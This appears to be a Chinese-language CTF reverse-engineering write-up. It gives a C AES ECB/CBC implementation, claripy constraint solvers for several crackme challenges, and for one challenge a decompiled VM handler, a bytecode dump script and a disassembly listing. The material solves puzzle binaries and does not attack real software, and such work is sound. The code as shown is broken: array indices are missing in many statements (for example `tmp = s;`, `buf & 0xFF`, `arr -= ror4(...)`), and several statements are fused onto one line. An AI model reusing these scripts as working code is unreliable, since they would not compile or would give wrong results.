s[i+j*4]=data[i*4+j];
}
}
/* key expansion */
aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
// for (j = 0; j < 4 * g_aes_nb[mode]; j++)
// s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);}
/* save state (cypher) to user buffer */
// for (j = 0; j < 4 * g_aes_nb[mode]; j++)
// data[i + j] = s[j];
}
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
data[i*4+j]=s[i+j*4];
}
}
return 0;
}
int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_encrypt(mode, data, len, key);
}
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}
return 0;
}
void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < g_aes_nb[mode] - i; j++) {
uint8_t tmp = s;
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}uint8_t inv_sub_sbox(uint8_t val)
{
return g_inv_sbox[val];
}
void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
}
}
}
void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09, 0x09, 0x0e, 0x0b, 0x0d,
0x0d, 0x09, 0x0e, 0x0b, 0x0b, 0x0d, 0x09, 0x0e };
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
int nr, i, j; for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
s[i+j*4]=data[i*4+j];
}
}
/* key expansion */
aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
// for (j = 0; j < 4 * g_aes_nb[mode]; j++)
// s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
inv_shift_rows(mode, s);
/* do SubBytes */
inv_sub_bytes(mode, s);
}
}
/* save state (cypher) to user buffer */
// for (j = 0; j < 4 * g_aes_nb[mode]; j++)
// data[i + j] = s[j];
} for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
data[i*4+j]=s[i+j*4];
}
}
return 0;
}
int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_decrypt(mode, data, len, key);
}
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
inv_shift_rows(mode, s);
/* do SubBytes */
inv_sub_bytes(mode, s);
}
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
uint8_t p = s[j] ^ v[j];
v[j] = data[i + j];
data[i + j] = p;
}
}
return 0;
}
int main()
{
//数据
uint8_t buf[] = { 216, 87, 202, 196, 68, 68, 17, 110, 131, 11, 223, 113, 103, 120, 149,
125 };
//密钥
uint8_t key[] = { 23, 147, 56, 12, 17, 167, 247, 84, 247, 137, 200, 32, 212, 26, 250, 37 };
//向量
uint8_t iv[] =
{ 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10 };
//模式 1-ECB 0-CBC
bool ecb_or_cbc = 1;
//加解密 1-加密 0-解密
bool en_or_de = 0;
//ECB 模式加密
if(ecb_or_cbc&&en_or_de){
switch (sizeof(key))
{
case 16:aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
case 24:aes_encrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
case 32:aes_encrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("0x%02x,", buf & 0xFF);
}
}
//ECB 模式解密
else if(ecb_or_cbc&&(!en_or_de))
{
switch (sizeof(key))
{
case 16:aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
case 24:aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
case 32:aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("%c", buf & 0xFF);
}
}
//CBC 模式加密
else if((!ecb_or_cbc)&&en_or_de)
{
switch (sizeof(key))
{
case 16:aes_encrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
case 24:aes_encrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
case 32:aes_encrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("0x%02x,", buf & 0xFF);
}
}
//CBC 模式解密else
{
switch (sizeof(key))
{
case 16:aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
case 24:aes_decrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
case 32:aes_decrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
}
//打印数据
for (int i = 0; i < sizeof(buf); i++)
{
printf("%c", buf & 0xFF);
}
}
printf("\n");
return 0;
}
// 0OCNNxuTxNak0FTJ
// 修改密钥和密文
// 数据
uint8_t buf[] = { 180, 252, 42, 112, 54, 254, 140, 77, 50, 8, 226, 68, 27, 196, 57, 3 };
// 密钥
uint8_t key[] = { 207, 196, 242, 200, 85, 227, 230, 58, 116, 130, 23, 81, 179, 98, 111, 88 };
// T2aLmvbWoLt8HcJr
将两段明文拼接后作为输入,验证成功,提交即可
mcmc
虚假的 salsa20,加了 ollvm,但代码量不大,直接动调就行了
from claripy import *
keys = bytes.fromhex("""
D3 1B CC 7D EF B9 0D C6 A0 DB E2 07 FB 0F B7 0E
CB 73 3A 8A C5 4E 3E EC 0C F0 A2 48 94 70 27 1B
A4 1C 17 1C 0D 71 C8 F2 28 2B 9A A7 3A 5F B8 6E
81 80 54 3B 9D 51 0E C6 21 03 49 D4 B6 36 31 7B
""")def sub_405480(m):
a = []
arr = [None]*4
for i in range(4):
v = BVS('', 0)
for j in range(4):
v = v.concat(m[i*4+(3-j)])
a.append(v)
arr[0] = (a[0]*2+a[1]-a[2]+a[3])
arr[1] = ((a[0]+a[1])+(a[2])-a[3])
arr[2] = (a[0]-a[1]+a[2]-a[3])
arr[3] = (((a[0]+a[1]*2-a[2])+(a[3]*2)))
tmp = BVV('', 0)
for i in range(4):
for j in range(4):
tmp = tmp.concat(arr[(j+1)*8-1:j*8])
return tmp
size = 32
data = [BVS('', 8) for i in range(size)]
# test = b'00010002000300040005000600070008'
# data = []
# for i in range(size):
# data.append(BVV(test, 8))
orig = data[::]
data[7] ^= 0x44
data[15] ^= 0x23
data[23] ^= 0x5B
data[31] ^= 0x5A
# '00010002000300040005000600070008'
# a1, a2, a3, a4 = 0x31303030, 0x76303030, 0x33303030, 0x17303030
# a1, a2, a3, a4 = 0x35303030, 0x6D303030, 0x37303030, 0x62303030
data1 = sub_405480(data[:16])
data2 = sub_405480(data[16:])
# ===================================
solver = Solver()bv_data = data1.concat(data2)
data = []
for i in range(size):
v = bv_data[(i+1)*8-1:i*8]
data.append(v)
data = data[::-1]
# for i in solver.batch_eval(data, 2):
# print(bytes(i).hex())
# BC909090 C3606060 D7000000 18C0C0C0
for i in range(size):
if i & 1:
v4 = data[(i-1) % size]
else:
v4 = data[(i+1) % size]
data ^= (v4 + keys)
enc_flag = bytes.fromhex(
'06086504600308014A103258EE97658444F2106BE8502499F6E32151C25DBF32')
for i in range(size):
solver.add(data == enc_flag)
for i in range(size):
solver.add(orig >= 32)
solver.add(orig < 127)
for i in solver.batch_eval(orig, 10):
print(bytes(i))
windows_call
aes cbc。 key 和 iv 是根据 flag 生成的
from claripy import *
from libnum import s2n
from Crypto.Cipher import AES
def gen_key(n):
key1 = n & 0xFFFF
key2 = n >> 16 a = key1 ^ key2
v51 = a >> 8
v25 = a & 0xFF
iv = bytearray(16)
for i in range(16):
iv = ((v51+i) ^ (v25 + i)) & 0xFF
key = bytearray(16)
v28 = 0
for i in range(16):
v29 = (iv ^ (i-64)) & 0xFF
key = v29
v28 += v29
return key, iv
key1 = BVS('', 16)
key2 = BVS('', 16)
a = key1 ^ key2
v51 = a >> 8
v25 = a & 0xFF
iv = [0]*16
for i in range(16):
iv = ((v51+i) ^ (v25 + i))
key = [0]*16
v28 = 0
for i in range(16):
v29 = (iv ^ (i-64)) & 0xFF
key = v29
v28 += v29
solver = Solver()
solver.add(v28 == 0x8A8)
solver.add((key1 & 0xFF00) < 0xCA00)
solver.add((key2 & 0xFF) == 0xA0)
solver.add(((key2 - key1) & 0xFFFF) == 0x2B8)
solver.add(((key1 + 0x3800) & 0xFFFF) <= 2048)solver.add(((key2 + 0x3500) & 0xFFFF) <= 1280)
enc_flag = bytes.fromhex("84 37 A0 F3 EC 36 34 FC 94 A2 38 6F 3F 34 7E 7C")
for i, v in enumerate(solver.batch_eval([key1, key2], 40)):
k1, k2 = v[0], v[1]
a1 = (k1 + 0x3800) & 0xFFFF
a2 = (k2 + 0x3500) & 0xFFFF
k = struct.pack('<2H', *v)
n = s2n(k)
key, iv = gen_key(n)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(enc_flag)
print(i, v, hex(n).upper(), key.hex().upper(), pt.hex().upper())
print('flag{'+hex(n).upper()[2:]+pt.hex().upper()+'}')
Indir
call 指令和 jmp 指令都被混淆了,把变量改成 const 就能正常 F5 了,没啥用
void __fastcall vm_exec_402780(struct_a1 *a1, struct_vm_inst *inst)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
switch ( inst->opcode )
{
case 0:
v2 = (int *)sub_4031D0(&inst->unk1, 0LL);
v3 = (_DWORD *)sub_402FD0((__int64)a1, v2);
v4 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v5 = sub_403000(a1, v4);
v6 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v7 = sub_403000(a1, v6);
v8 = (unsigned int)*v5;
v9 = (unsigned int)*v7;
v64[0] = 0xE9ED4905;
v10 = ror4((__int64)v64, v8, v9);
goto LABEL_4;
case 1:
v44 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v44);
v45 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v46 = sub_403000(a1, v45);
v47 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v23 = *(_DWORD *)(a1->qword30 + (int)*v46 + (__int64)(int)*sub_403000(a1, v47));
goto LABEL_16; case 2:
// io
v32 = (_DWORD *)sub_4031D0(&inst->unk1, 0LL);
v33 = sub_403000(a1, v32);
vm_sys(&a1->char0, *v33);
return;
case 3:
// sub
v34 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v34);
v35 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v36 = sub_403000(a1, v35);
v37 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
*v19 = *v36 - *sub_403000(a1, v37);
goto LABEL_17;
case 4:
// mod
v24 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v24);
v25 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v26 = sub_403000(a1, v25);
v27 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
*v19 = *v26 % *sub_403000(a1, v27);
goto LABEL_17;
case 5:
// div
v48 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v48);
v49 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v50 = sub_403000(a1, v49);
v51 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v23 = *v50 / *sub_403000(a1, v51);
goto LABEL_16;
case 6:
v52 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v52);
v53 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v23 = *sub_403000(a1, v53);
goto LABEL_16;
case 7:
// >>
v38 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v38);
v39 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL); v40 = sub_403000(a1, v39);
v41 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
*v19 = *v40 >> *(_BYTE *)sub_403000(a1, v41);
goto LABEL_17;
case 8:
v56 = (_DWORD *)sub_4031D0(&inst->unk1, 0LL);
v19 = sub_403000(a1, v56);
v57 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v58 = sub_403000(a1, v57);
v59 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
*(_DWORD *)(a1->qword30 + (int)*v58 + (__int64)(int)*sub_403000(a1, v59)) =
*v19;
goto LABEL_17;
case 9:
// ret
a1->dword20 = a1->dword24;
return;
case 10:
v60 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v60);
v61 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v62 = sub_403000(a1, v61);
v63 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
*v19 = *v62 << *(_BYTE *)sub_403000(a1, v63);
goto LABEL_17;
case 11:
// add
v18 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v18);
v20 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v21 = sub_403000(a1, v20);
v22 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v23 = *v21 + *sub_403000(a1, v22);
goto LABEL_16;
case 12:
// mul
v28 = (int *)sub_4031D0(&inst->unk1, 0LL);
v19 = (_DWORD *)sub_402FD0((__int64)a1, v28);
v29 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v30 = sub_403000(a1, v29);
v31 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v23 = *v30 * *sub_403000(a1, v31);
LABEL_16:
*v19 = v23;LABEL_17:
sub_403030((__int64)a1, v19);
break;
case 13:
a1->dword24 = a1->dword20;
v54 = *(_DWORD *)sub_4031D0(&inst->unk1, 0LL) == 1;
v55 = (_DWORD *)sub_4031D0(&inst->unk1, 0LL);
sub_403000(a1, v55);
__asm { jmp rcx; 0x402fa7 0x402e75 }
return;
case 14:
v11 = (int *)sub_4031D0(&inst->unk1, 0LL);
v3 = (_DWORD *)sub_402FD0((__int64)a1, v11);
v12 = (_DWORD *)sub_4031D0(&inst->unk1, 1LL);
v13 = sub_403000(a1, v12);
v14 = (_DWORD *)sub_4031D0(&inst->unk1, 2LL);
v15 = sub_403000(a1, v14);
v16 = (unsigned int)*v13;
v17 = (unsigned int)*v15;
v64[0] = 0x2AA66536;
v10 = rol4((__int64)v64, v16, v17);
LABEL_4:
*v3 = v10;
sub_403030((__int64)a1, v3);
break;
case 15:
v42 = *(_DWORD *)sub_4031D0(&inst->unk1, 0LL) != 1;
v43 = (_DWORD *)sub_4031D0(&inst->unk1, 0LL);
sub_403000(a1, v43);
__asm { jmp rcx; 0x402e75 0x402fa7 }
return;
default:
abort(a1);
}
}
vm dump 脚本
import ctypes
import struct
from ctypes import c_uint32, c_int16
class InstFields(ctypes.LittleEndianStructure):
_fields_ = [
("imm0", c_uint32, 22), ("imm1", c_uint32, 3),
("opcode", c_uint32, 4),
("imm2", c_uint32, 3),
]
class Inst(ctypes.Union):
_fields_ = [("fields", InstFields),
("dw", c_uint32)]
def __init__(self, v) -> None:
self.dw = v
def InstDecode(n):
return Inst(n).fields
pc = 0
bytecode = open('code', 'rb').read()
def fetch4():
global pc
v = struct.unpack_from('<I', bytecode, pc)[0]
pc += 4
return v
def label(addr):
m = {
0x02EC: '_puts',
0x02C4: '_gets',
0x0318: '_memcmp',
}
return m.get(addr, f'L{addr:04X}')
enc = []
while pc < 0x35c:
d = fetch4()
inst = InstDecode(d)
print(f'{label(pc-4)}: {inst.imm0:08X} {inst.imm1:02X} {inst.imm2:02X} ', end='') match inst.opcode:
case 1:
print('read')
case 8:
print('write\n')
case 2:
_id = inst.imm0 >> 6
if _id == 0:
print(f'sys.getch')
elif _id == 1:
print(f'sys.putch')
else:
print(f'sys.exit\n')
exit() # 后面是库函数就不打印了
case 3:
print('sub')
case 4:
a0 = inst.imm0 & 0xFF
print(f'mod({a0})')
case 5:
print('div')
case 6:
a0 = inst.imm0 & 7
a1 = (inst.imm0 >> 3) & 0xFFFF
a2 = (inst.imm0 >> (3+16))
print(f'setargs {hex(a0)}, {hex(a1)}, {hex(a2)}', )
case 7:
print('>>')
case 9:
print('ret')
print('')
case 10:
print('<<')
case 11:
a0 = inst.imm0 & 0xFF
if inst.imm1 == 6:
print(f'add({a0})')
else:
print(f'add')
case 12:
a0 = inst.imm0 & 0xFF
print(f'mul({a0})')
case 13: target = pc+c_int16(inst.imm0 >> 6).value
print(f'call {label(target)}')
# pc = target
case 0:
a0 = inst.imm0 & 0xFF
print(f'ror4(n, {a0})')
case 14:
a0 = inst.imm0 & 0xFF
print(f'rol4(n, {a0})')
case 15:
target = pc+c_int16(inst.imm0 >> 6).value
print(f'jne {label(target)}\n')
# pc = target
case _:
print(f'*** {inst.opcode}')
vm.txt
L0000: 00001AE0 05 00 setargs 0x0, 0x35c, 0x0
L0004: 0000B900 03 00 call _puts
L0008: 00008000 05 00 setargs 0x0, 0x1000, 0x0
L000C: 0000AD00 03 00 call _gets
L0010: 00008000 05 00 setargs 0x0, 0x1000, 0x0
L0014: 00080000 05 00 setargs 0x0, 0x0, 0x1
L0018: 00110004 06 00 mul(4)
L001C: 00184000 07 00 read
L0020: 00210006 06 00 add(6)
L0024: 00240010 06 00 mod(16)
L0028: 00240004 06 00 mul(4)
L002C: 00288000 07 00 read
L0030: 002D0006 06 00 ror4(n, 6)
L0034: 001BA000 07 00 sub
L0038: 00184000 07 00 write
L003C: 00090001 06 00 add(1)
L0040: 00110004 06 00 mul(4)
L0044: 00184000 07 00 read
L0048: 00210008 06 00 add(8)
L004C: 00240010 06 00 mod(16)
L0050: 00240004 06 00 mul(4)
L0054: 00288000 07 00 read
L0058: 002D0004 06 00 rol4(n, 4)
L005C: 001BA000 07 00 add
L0060: 00184000 07 00 write
L0064: 00090001 06 00 add(1)L0068: 00110004 06 00 mul(4)
L006C: 00184000 07 00 read
L0070: 0021000A 06 00 add(10)
L0074: 00240010 06 00 mod(16)
L0078: 00240004 06 00 mul(4)
L007C: 00288000 07 00 read
L0080: 002D0005 06 00 rol4(n, 5)
L0084: 001BA000 07 00 add
L0088: 00184000 07 00 write
L008C: 00090001 06 00 add(1)
L0090: 00110004 06 00 mul(4)
L0094: 00184000 07 00 read
L0098: 00210001 06 00 add(1)
L009C: 00240010 06 00 mod(16)
L00A0: 00240004 06 00 mul(4)
L00A4: 00288000 07 00 read
L00A8: 002D0003 06 00 rol4(n, 3)
L00AC: 001BA000 07 00 add
L00B0: 00184000 07 00 write
L00B4: 00090001 06 00 add(1)
L00B8: 00110004 06 00 mul(4)
L00BC: 00184000 07 00 read
L00C0: 00210004 06 00 add(4)
L00C4: 00240010 06 00 mod(16)
L00C8: 00240004 06 00 mul(4)
L00CC: 00288000 07 00 read
L00D0: 002D000A 06 00 rol4(n, 10)
L00D4: 001BA000 07 00 add
L00D8: 00184000 07 00 write
L00DC: 00090001 06 00 add(1)
L00E0: 00110004 06 00 mul(4)
L00E4: 00184000 07 00 read
L00E8: 0021000A 06 00 add(10)
L00EC: 00240010 06 00 mod(16)
L00F0: 00240004 06 00 mul(4)
L00F4: 00288000 07 00 read
L00F8: 002D0009 06 00 ror4(n, 9)
L00FC: 001BA000 07 00 sub
L0100: 00184000 07 00 write
L0104: 00090001 06 00 add(1)L0108: 00110004 06 00 mul(4)
L010C: 00184000 07 00 read
L0110: 00210002 06 00 add(2)
L0114: 00240010 06 00 mod(16)
L0118: 00240004 06 00 mul(4)
L011C: 00288000 07 00 read
L0120: 002D0002 06 00 ror4(n, 2)
L0124: 001BA000 07 00 sub
L0128: 00184000 07 00 write
L012C: 00090001 06 00 add(1)
L0130: 00110004 06 00 mul(4)
L0134: 00184000 07 00 read
L0138: 00210002 06 00 add(2)
L013C: 00240010 06 00 mod(16)
L0140: 00240004 06 00 mul(4)
L0144: 00288000 07 00 read
L0148: 002D000C 06 00 rol4(n, 12)
L014C: 001BA000 07 00 add
L0150: 00184000 07 00 write
L0154: 00090001 06 00 add(1)
L0158: 00110004 06 00 mul(4)
L015C: 00184000 07 00 read
L0160: 00210007 06 00 add(7)
L0164: 00240010 06 00 mod(16)
L0168: 00240004 06 00 mul(4)
L016C: 00288000 07 00 read
L0170: 002D0001 06 00 ror4(n, 1)
L0174: 001BA000 07 00 sub
L0178: 00184000 07 00 write
L017C: 00090001 06 00 add(1)
L0180: 00110004 06 00 mul(4)
L0184: 00184000 07 00 read
L0188: 00210005 06 00 add(5)
L018C: 00240010 06 00 mod(16)
L0190: 00240004 06 00 mul(4)
L0194: 00288000 07 00 read
L0198: 002D000B 06 00 ror4(n, 11)
L019C: 001BA000 07 00 sub
L01A0: 00184000 07 00 write
L01A4: 00090001 06 00 add(1)L01A8: 00110004 06 00 mul(4)
L01AC: 00184000 07 00 read
L01B0: 00210001 06 00 add(1)
L01B4: 00240010 06 00 mod(16)
L01B8: 00240004 06 00 mul(4)
L01BC: 00288000 07 00 read
L01C0: 002D000A 06 00 ror4(n, 10)
L01C4: 001BA000 07 00 sub
L01C8: 00184000 07 00 write
L01CC: 00090001 06 00 add(1)
L01D0: 00110004 06 00 mul(4)
L01D4: 00184000 07 00 read
L01D8: 00210001 06 00 add(1)
L01DC: 00240010 06 00 mod(16)
L01E0: 00240004 06 00 mul(4)
L01E4: 00288000 07 00 read
L01E8: 002D0006 06 00 rol4(n, 6)
L01EC: 001BA000 07 00 add
L01F0: 00184000 07 00 write
L01F4: 00090001 06 00 add(1)
L01F8: 00110004 06 00 mul(4)
L01FC: 00184000 07 00 read
L0200: 00210008 06 00 add(8)
L0204: 00240010 06 00 mod(16)
L0208: 00240004 06 00 mul(4)
L020C: 00288000 07 00 read
L0210: 002D000F 06 00 ror4(n, 15)
L0214: 001BA000 07 00 sub
L0218: 00184000 07 00 write
L021C: 00090001 06 00 add(1)
L0220: 00110004 06 00 mul(4)
L0224: 00184000 07 00 read
L0228: 0021000B 06 00 add(11)
L022C: 00240010 06 00 mod(16)
L0230: 00240004 06 00 mul(4)
L0234: 00288000 07 00 read
L0238: 002D0008 06 00 ror4(n, 8)
L023C: 001BA000 07 00 sub
L0240: 00184000 07 00 write
L0244: 00090001 06 00 add(1)L0248: 00110004 06 00 mul(4)
L024C: 00184000 07 00 read
L0250: 0021000D 06 00 add(13)
L0254: 00240010 06 00 mod(16)
L0258: 00240004 06 00 mul(4)
L025C: 00288000 07 00 read
L0260: 002D0001 06 00 rol4(n, 1)
L0264: 001BA000 07 00 add
L0268: 00184000 07 00 write
L026C: 00090001 06 00 add(1)
L0270: 00110004 06 00 mul(4)
L0274: 00184000 07 00 read
L0278: 0021000E 06 00 add(14)
L027C: 00240010 06 00 mod(16)
L0280: 00240004 06 00 mul(4)
L0284: 00288000 07 00 read
L0288: 002D0001 06 00 ror4(n, 1)
L028C: 001BA000 07 00 sub
L0290: 00184000 07 00 write
L0294: 00090001 06 00 add(1)
L0298: 00008000 05 00 setargs 0x0, 0x1000, 0x0
L029C: 00081C80 05 00 setargs 0x0, 0x390, 0x1
L02A0: 00100200 05 00 setargs 0x0, 0x40, 0x2
L02A4: 00001C00 03 00 call _memcmp
L02A8: 00000000 06 00 sub
L02AC: 00000200 03 03 jne L02B8
L02B0: 00001BA0 05 00 setargs 0x0, 0x374, 0x0
L02B4: 00000100 03 00 jne L02BC
L02B8: 00001BF0 05 00 setargs 0x0, 0x37e, 0x0
L02BC: 00000B00 03 00 call _puts
L02C0: 00000080 03 00 sys.exit
解密 flag
import struct
from claripy import *
def rol4(x, shift):
return ((x << shift) | (x.LShR((32-shift))))
def ror4(x, shift): x = x&0xFFFFFFFF
return ((x.LShR(shift)) | (x << (32-shift))) & 0xFFFFFFFF
enc_flag = bytes.fromhex("""
AE DE BF 95 91 99 A4 92 77 31 37 68 EA C2 09 7E
C2 EF F8 1B 37 5F 62 72 DD E1 47 8F 92 4A 91 9B
5F 31 6E 64 31 72 33 63 DC 3F 63 19 6C 6C 7D 00
0F C8 7B 20 CF 91 9B A0 D8 D8 FA 00 19 37 B2 2F
""")
enc_flag_dword = struct.unpack('<16I', enc_flag)
# flag =
b'flag{000111122223333444455556666777788889999AAAABBBBCCCCDDDDEEE}'
arr = [BVS('', 32) for i in range(16)]
orig = arr[::]
i = 0 # 0 6
arr -= ror4(arr[(i+6) % 16], 6)
i += 1 # 1 9
arr += rol4(arr[(i+8) % 16], 4)
i += 1 # 2 12
arr += rol4(arr[(i+10) % 16], 5)
i += 1 # 3 4
arr += rol4(arr[(i+1) % 16], 3)
i += 1 # 4 8
arr += rol4(arr[(i+4) % 16], 10)
i += 1 # 5 15
arr -= ror4(arr[(i+10) % 16], 9)
i += 1 # 6 8
arr -= ror4(arr[(i+2) % 16], 2)
i += 1 # 7 9
arr += rol4(arr[(i+2) % 16], 12)
i += 1 # 8 15
arr -= ror4(arr[(i+7) % 16], 1)
i += 1 # 9 14
arr -= ror4(arr[(i+5) % 16], 11)
i += 1 # 10 11
arr -= ror4(arr[(i+1) % 16], 10)
i += 1 # 11 12
arr += rol4(arr[(i+1) % 16], 6)
i += 1 # 12 20
arr -= ror4(arr[(i+8) % 16], 15)
i += 1 # 13 24arr -= ror4(arr[(i+11) % 16], 8)
i += 1 # 14 27
arr += rol4(arr[(i+13) % 16], 1)
i += 1 # 15 29
arr -= ror4(arr[(i+14) % 16], 1)
i += 1
solver = Solver()
for i in range(16):
solver.add(arr == enc_flag_dword)
for x in solver.batch_eval(orig, 10):
print(x)
enc_tmp = struct.pack('<16I', *x)
print(enc_tmp)
comeongo
64 位 ELF,ida 打开,分析 main_main
输入 name 和 passwd 后,进入 main_Greetingscheck 校验
分析 main_Greetingscheck,判断 name 和 passwd 的长度均为 16,然后进入两个 check先看 main_check1,name 和 passwd 各自的前 8 字符拼接,经过 base58 编码后比较
直接解码 base58 即可
import binascii
def b58decode(tmp:str) -> str:
